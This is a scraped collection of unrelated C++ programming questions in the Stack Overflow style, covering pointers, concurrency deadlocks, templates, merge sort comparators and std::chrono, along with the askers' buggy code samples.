How correctly do I need to press the void pointer?

void func(const char* str)
{
void *s = &str;
std::cout << *(char**)s << std::endl; // it's correct
std::cout << (char*)s << std::endl; // it's not correct
}

int main()
{
char *str = "hello world";
func(str);

return 0;
}

Why do I get stuck in an infinite loop after calling a function?

I'm supposed to make a function that receives two arguments: a sentence(std::string) and bunch of phrases(std::vector>). Now for all words in a sentence that are contained in the vector, I need to make their palindrome, and stick them together, e.g. compile -> compileelipmoc. I also need to make sure that input is available up until two ENTER's are pressed. The problem occurs after calling the function, where I seem to get stuck in an infinite loop. Why am I getting this infinite loop?

#include <iostream>
#include <vector>
#include <string>
typedef std::vector<std::string> Vektor; 
typedef std::string String;

void ReverseString(String &s1)
{
char temp(0);
for(int i(0); i < s1.size()/2; i++) {
    temp = s1.at(i);
    s1.at(i) = s1.at(s1.length()-1-i);
    s1.at(s1.length()-1-i) = temp;
}
}

void CreatePalindrome(String s, Vektor v)
{
bool white_space(true);
bool go_on(false);
String compare;
for(int i(0); i < s.size(); i++) {
    for(;;) {
        if(s.at(i) == '\n' || i == s.size()-1) {
            go_on == true;
            break;
        }
        compare+=s.at(i);
    }
    if(go_on) {
        for(int j(0); j < v.size(); j++) {
            if(compare == v.at(j)) {
                ReverseString(v.at(j));
                if(i != s.size()-1) v.at(j)+=' ';
                s.insert(i, v.at(j));
            }
        }
    }
    compare.clear();
}
}

int main ()
{
String sentence, phrase;
Vektor v1;
char character(0);
std::cout << "Enter your sentence: ";
std::getline(std::cin, sentence);
std::cout << "Enter phrases: ";
for(;;) {
    character = std::cin.get();
    if(character == '\n') break;
    for(;;) {
        phrase.push_back(character);
        character = std::cin.get();
        if(character == '\n') break;
    }
    v1.push_back(phrase);
    phrase.clear();
}
CreatePalindrome(sentence, v1);
std::cout << "After the transformation, the sentence is: " << sentence;
return 0;
}

Error: 'global' does not name a type while accessing global variables across different files.

I have a total of 3 files, file1.h/.cpp and file2.cpp. I want to use global variables of file1.h in file2.cpp. On compiling file2.cpp I am getting error as:

*error*: 'global' does not name a type

'global' is the name of the variable.

file1.h

extern int global;

file1.cpp

int global = 0;

file2.cpp

#include file1.h;   

global =5;

how to write something on a file like (excel) using C++?

i want to know how to write or add something to a file like excel using C++? i've tried ofstream but i dont know how to use it.

what's the error in writing the data to this file?

why file doesn't work

                            #include <iostream>
                            #include <fstream>
                            #include <iomanip>    
                            using namespace std;
                            int main() {
                            ofstream out("blah.txt");

open file

                            float val = 10.5; 

intial value

                            out << val << endl;

write value

                            out.close();
                            return 0;
         }

how can i get the number of elements of array?

I have an array of size 5 .

int matrix [5] = {1,2,3};

How can i get the number of elements of it ?

Thank you for responding to my question .

How to Calculate the Correlation Coefficient of the data set?

See details at http://www.alcula.com/calculators/statistics/correlation-coefficient/ And also how to Calculate the Interquartile range? See details at http://www.alcula.com/calculators/statistics/interquartile-range/

Argument of type __ Incompatible with Parameter of type __

I'm a student in a college creating a small little stock market simulator game for a class. We were asked to specifically use structures as opposed to classes, which I'm more well-versed in.

I'm trying to set up an array of "Stock" structure objects, and am attempting to pass (either/or, both have failed) the array of Stock objects and the Stock objects themselves to a function, each in a separate file. This is the Stock structure.

struct Stock {
 string FullName;
 string Ticker;
 string Info;
 string Chairman;
 double Revenue;
 double AvgVol;
 double High52;
 double Low52;
 double CurrentPrice;
 Stock() {
     FullName = "";
     Ticker = "";
     Info = "";
     Chairman = "";
     Revenue = 0;
     AvgVol = 0;
     High52 = 0;
     Low52 = 0;
     CurrentPrice = 0;
 } };

This is in it's own file dedicated specifically for creating various structures used throughout the game. This is how I attempt to create and call the stocks in the main driver function.

Stock Apple;
Stock Chipotle;
Stock Disney;
Stock Tesla;
Stock stockList[4] = { Apple, Chipotle, Disney, Tesla }; //Will access the stocks from this array from here on in
SetupStructs(stockList); //Function that creates the 4 company's information as struct objects to be utilized later

This is the SetupStructs function in a third file, dedicated specifically for functions, so as to not clog up the main file.

void SetupStructs(Stock stockList[]) {

stockList[0].FullName = "Apple Incorporated";

stockList[1].FullName = "Chipotle Mexican Grill Incorporated";

stockList[2].FullName = "Walt Disney Company";

stockList[3].FullName = "Tesla Motors Incorporated"; };

If it's not obvious, I've left 90% of the rest of the SetupStructs function out of what I pasted so as to not clog up the page with unnecessary code.

The problem is: "SetupStructs(stockList)" is throwing the error:

argument of type "Stock *" is incompatible with parameter of type "Stock *"

What am I doing wrong? Where is this error appearing? Apologies for the mini-essay.

Why doesn't std::this_thread::sleep_for() work in MacOS terminal?

Explanation

Take for example this basic code.

#include <iostream>
#include <thread>

int main(int argc, const char * argv[]) {
    while(true){
        std::this_thread::sleep_for(std::chrono::milliseconds(1000));
        std::cout << "loop";
    }
}

When I run this in XCode, it works exactly as expected. Every second it prints out, "loop". However, when I run this in my terminal, nothing happens. The code seems to be "running" but nothing gets printed to screen.

Question:

Why does std::this_thread::sleep_for() work in the XCode terminal but not the standard MacOS terminal?

Postgresql timestamp with timezone to QDateTime

How can I retrieve the milliseconds and the timezone from a Postgresql timestamp stored in a QDateTime object?

If I do select now() from a Postgres database and introspect the QDateTime object returned (by using qDebug() to print it) I can see the value up to the seconds but not beyond that. How can I extract the milliseconds and timestamp from the object?

how to check if a macro is called within a class?

Say there is a macro:

#define X(...) foo(__VA_ARGS__)

foo is defined as:

void foo(int a) {}
template<class T> 
void foo(int a, T& t) { std::cout<<a<<t.b; }

I'd like to check if X is called within a class or not. If it is called within a class, then I can call the second version foo(100,*this). Otherwise, I'll call the first version without passing *this.

implement async algorithm using intel tbb parallelization

I'm trying to implement an async algorithm, which could be represented as follows:

// a naive data reading class, which returns the value via an internal index
struct DataLoader {
DataLoader() : index(0) {}

int read() {
    if (index > 200) { index = 0; }
    return index++;
}

int index;
};

int main() {
    DataLoader d;
    int rez[100] = {0};  // stores the final result

    tbb::parallel_for(0, 1000, [&](int i) {
        // 1) so `d` would be accessed by multi-threads, no need for a mutex at all
        int x = d.read();  

        // 2) ditto, no mutex needed
        rez[i%100] += x;
        });
}

I know in the main function above, parallel_for might bring some race condition issues, but I don't worry about if d or rez is sync across threads at all, it's totally fine to have race condition.

All I care about is to make it run fast enough, so question is, is my code doing it right?

Possible deadlock or concurrency related issues in C++11

I'm pretty new to C++ and I'm experimenting with some concurrency in C++ using threadpooling, condition variables, locks and mutex. The program is in essence a bunch threads of two categories sharing a common resource. Metaphorically, there are wolves and sheep, sharing a waterhole, and they can't be around the waterhole at the same time. Multiple sheeps or multiple wolves can however be there at the same time.

The threads are managed by a class called Waterhole, which holds a mutex, a condition variable and two integers which are supposed to keep track of how many wolves or sheep there are around the waterhole. There are also 4 methods which are for the entering/exiting of each animal. Here is my class:

    class Waterhole {

    private:
            int wolfInside;
            int sheepInside;
            mutex my_mutex;
            condition_variable CONVAR;
    public:
    void WolfEnters() {
        cout<<"A wolf enters the watercave\n"<<endl;
        unique_lock<mutex> lock(my_mutex);
        CONVAR.wait(lock, [this]{return sheepInside == 0;});
        wolfInside+=1;
    }
    void WolfLeaves() {

        cout<<"Wolf has finished drinking and is leaving the watercave\n";
        my_mutex.lock();
        wolfInside -= 1;
        CONVAR.notify_all();
    }
    void SheepEnters(){
        unique_lock<mutex> lock(my_mutex);
        cout<<"A Sheep enters the watercave\n";
        CONVAR.wait(lock, [this]{return wolfInside == 0;});
        sheepInside+=1;


    };
    void SheepLeaves() {

        cout<<"sheep has finished drinking and is leaving the watercave";
        my_mutex.lock();
        sheepInside-=1;
        CONVAR.notify_all();

    }




};

Here is the description of each thread, i.e wolves and sheeps:

    void sheep(Waterhole &waterhole) {

    int i = 0;
    while(i++ < SIM){

        this_thread::sleep_for(chrono::milliseconds(100));
        cout<<"Sheep is thirsty\n";
        waterhole.SheepEnters();
        this_thread::sleep_for(chrono::milliseconds(1));
        waterhole.SheepLeaves();
    }

}
void wolf(Waterhole &waterhole) {


    int i = 0;
    while(i++ < SIM){
        this_thread::sleep_for(chrono::milliseconds(100));
        cout<<"Wolf is thirsty\n";
        waterhole.WolfEnters();
        this_thread::sleep_for(chrono::milliseconds(1));
        waterhole.WolfLeaves();

    }
}

And finally here is my main method which creates and starts all threads:

int main() {

    vector<thread> threadvec;
    Waterhole waterhole;

    int nrSheep = 2;
    int nrWolf = 2;
    for (int i = 0; i < nrSheep; i++) {
        threadvec.push_back(move(thread(sheep, ref(waterhole))));
    }

    for (int i = 0; i < nrWolf; i++) {
        threadvec.push_back(move(thread(wolf,ref(waterhole))));
    }

    for (int i = 0; i < nrSheep; i++) {
        threadvec[i].join();
    }

    for (int i = 0; i < nrWolf; i++) {
        threadvec[i].join();
    }


    return 0;
}

Now to the problem at hand. Nor the Wolfs or the sheep ever leaves the waterhole. They are just able to enter!

Here is the output of the program:

 Sheep is thirsty
   Wolf is thirsty
   Wolf is thirsty
   Sheep  is thirsty
   A Sheep enters the watercave
   A Wolf enters the watercave
   A Wolf enters the watercave
   A Sheep enters the watercave

And after this the program never terminates, which is intended since I don't kill any threads in my program, but I believe that after the enter-methods, something with the locks and condition variables don't add upp.

I have googled this extensively and can't find anything similiar of what I'm trying to do. I believe that the output looks like this because of a deadlock.

Thanks in advance!

Do I have to declare each operator overload to be able to able to use it for type T?

Let's say I have a key value class as so

template <typename T>
class KeyValue
{
private:
   std::string Key;
   T Value;

public:
    void operator=(const T &value) 
    {
        this->Value = value;
    }
};

I would have to declare each operator that I want to support on my type T property. Is there a way to automatically have most if not all operators work? It's just typing so it's not a huge deal but it would be cool if I can do something. Now I can write an essay as to why I want to do this, why am I not using a pair? etc.. I will say that I am exploring a small piece in a larger picture and I just don't want to type every operator if it can be avoided.

How to add a comparator to a custom sort function

So I've implemented merge sort which, for all intends and purposes, could also be a custom sort function and I've started turning it into a template function.

Where I've run into a problem is when I wanted to add to possibility of passing a custom compare function in order to sort in different ways. (eg. std::greater and std::less or any custom one).

I've verified that the sorting algorithm works when I'd replace the ints by T. How would I add the custom compare function from here in order to also sort custom objects etc?

template <  typename T, 
            class Compare>
void merge( vector<T> &arr, int start, int mid, int end, Compare comp ) 
{
    int lptr = start; 
    int rptr = mid+1; 
    int tempptr = 0; 

    vector<T> temp( end - start + 1 ); 

    for ( int i = 0; i<temp.size(); i++)
    {
        if ( lptr > mid ) //done with left-section, just move the right elements
        {   
            temp[tempptr] = arr[rptr];
            rptr++;
        } else if ( rptr > end ) //done with right-section, just move the left elements
        {
            temp[tempptr] = arr[lptr];
            lptr++; 
        } else if ( comp( arr[rptr], arr[lptr] )) // right item < left item, move right item
        {
            temp[tempptr] = arr[rptr]; 
            rptr++; 
        } else          //otherwise left item < right item, move left item
        {
            temp[tempptr] = arr[lptr];
            lptr++; 
        }
        tempptr++;
    }

    for ( int i = 0; i<temp.size(); i++)
    {
        arr[start + i] = temp[i]; 
    }
}






template <  typename T, 
            class Compare>
void mergeSort( vector<T> &arr, int start, int end, Compare comp)
{   

    //if we're down to single elements, do nothing
    if ( start < end ){
        //call to right and left 'child' 
        int mid = (start + end) / 2; 

        mergeSort( arr, start, mid ); 
        mergeSort( arr, mid + 1, end );

        //call to merge
        merge( arr, start, mid, end ); 
    }
}



int main()
{   
    vector<float> arr = {7,8, 2, 6.6, 1, 4.1, 5, 3, 8, 9};
    cout << "before sorting:" << endl;
    for ( auto n : arr ) 
        cout << n << ", ";
    cout << endl;
    mergeSort( arr, 0, arr.size() - 1); 

    cout << "after sorting:" << endl;
    for ( auto n : arr ) 
        cout << n << ", ";
    cout << endl;

    return 0; 
};

Thanks in advance.

C++11, is there a built in function to sory a double type array? (sort function i've seen is int only)

The built in sort() function I have seen here: http://www.cplusplus.com/articles/NhA0RXSz/ works only for integers. Is there something similar for double type?

Thanks

How is C++ void recursive-iterative function work?

I am a beginner and i am learning c++ , but i am stuck in void recursion function . and the recursion occur in loop so how it works ?

Template subclass of template class as parameter to fully specialized function

I built a custom templated iterator as a subclass of a templated container:

template< typename T, class U, typename V >
class aContainer {
  public:
    template< bool ABool, bool BBool >
    class aIterator {
      public:
        using iterator_category = std::forward_iterator_tag;
        using value_type = T;
        using difference_type = std::ptrdiff_t;
        using referenc = T&;
        using pointer = T*;
       /** iterator related operations */
    };
  protected:
    T const * const _begin;
    T const * const _end;
  public:
    explicit aContainer( T const * const begin, std::size_t count ):
      __begin{ begin }, __end{ __begin + count } { }
    auto begin_a() const { return aIterator< true, false >{ __begin }; }
    auto end_a() const { return aIterator< true, false >{ __end }; }

    auto begin_b() const { return aIterator< false, true >{ __begin }; }
    auto end_b() const { return aIterator< false, true >{ __end }; }
};

To match the style of an existing library i want to pass a reference of the iterator to a fully specialized templated function:

template< typename T, class U >
foo( /** iterator as parameter */ );

template<>
void foo< int, aClass >( /**... */ ) {
  /* ... */
}

What I want to achieve is passing the iterator into the function as a parameter like that:

/* ... */
aContainer< int, aClass, bool > container( start );
auto iterator = container.begin_a();
for( ; iterator != container.end_a(); ++iterator ) {
  foo< int, aClass >( iterator );
}
/* ... */

Is this even possible? My guesses were rejected by the compiler :/ I think, a wrapper struct could be a possible solution, but I would like to avoid that. Also a iterator base class, shadowing the template iterator class feasible possible but not preferable from a conceptual point of view.

Unable to compare magnitude of std::chrono::duration in a template

In a template class I am working on, I want to check a precondition that a std::chrono::duration is positive, but my compiler complains that it can not instantiate the needed operator< template.

Here is a minimal example (not my original container) of the problem:

 #include <chrono>
 #include <cassert>
 #undef NDEBUG

 template< typename VALUE >
 class Container final
 {
  public:
   using Interval = std::chrono::duration< unsigned int >;

   Container(const Interval interval_):
     interval(interval_),
     value(0)
     {
       assert(Interval::zero < interval_);
     }

  private:
   Interval interval;
   VALUE value;
 };

 template class Container< unsigned int >;

The compiler complains about the assert statement, thus:

 In file included from /usr/include/c++/6/cassert:44:0,
             from main.cpp:2:
 main.cpp: In constructor ‘Container<VALUE>::Container(Container<VALUE>::Interval)’:
 main.cpp:15:29: error: no match for ‘operator<’ (operand types are ‘std::chrono::duration<unsigned int>()’ and ‘const Interval {aka const std::chrono::duration<unsigned int>}’)
        assert(Interval::zero < interval_);
          ~~~~~~~~~~~~~~~^~~
 In file included from main.cpp:1:0:
 /usr/include/c++/6/chrono:668:7: note: candidate: template<class _Clock, class _Dur1, class _Dur2> constexpr bool std::chrono::operator<(const std::chrono::time_point<_Clock, _Duration1>&, const std::chrono::time_point<_Clock, _Duration2>&)
        operator<(const time_point<_Clock, _Dur1>& __lhs,
        ^~~~~~~~
 /usr/include/c++/6/chrono:668:7: note:   template argument deduction/substitution failed:
 In file included from /usr/include/c++/6/cassert:44:0,
                  from main.cpp:2:
 main.cpp:15:31: note:   mismatched types ‘const std::chrono::time_point<_Clock, _Duration1>’ and ‘std::chrono::duration<unsigned int>()’
   assert(Interval::zero < interval_);
                           ^
 In file included from main.cpp:1:0:
 /usr/include/c++/6/chrono:489:7: note: candidate: template<class _Rep1, class _Period1, class _Rep2, class _Period2> constexpr bool std::chrono::operator<(const std::chrono::duration<_Rep1, _Period1>&, const std::chrono::duration<_Rep2, _Period2>&)
   operator<(const duration<_Rep1, _Period1>& __lhs,
   ^~~~~~~~
 /usr/include/c++/6/chrono:489:7: note:   template argument deduction/substitution failed:
 In file included from /usr/include/c++/6/cassert:44:0,
             from main.cpp:2:
 main.cpp:15:31: note:   mismatched types ‘const std::chrono::duration<_Rep1, _Period1>’ and ‘std::chrono::duration<unsigned int>()’
        assert(Interval::zero < interval_);

What have I done wrong?

Or is this a compiler bug? My compiler is g++ (Debian 6.3.0-18+deb9u1) 6.3.0 2017051, on Debian 6.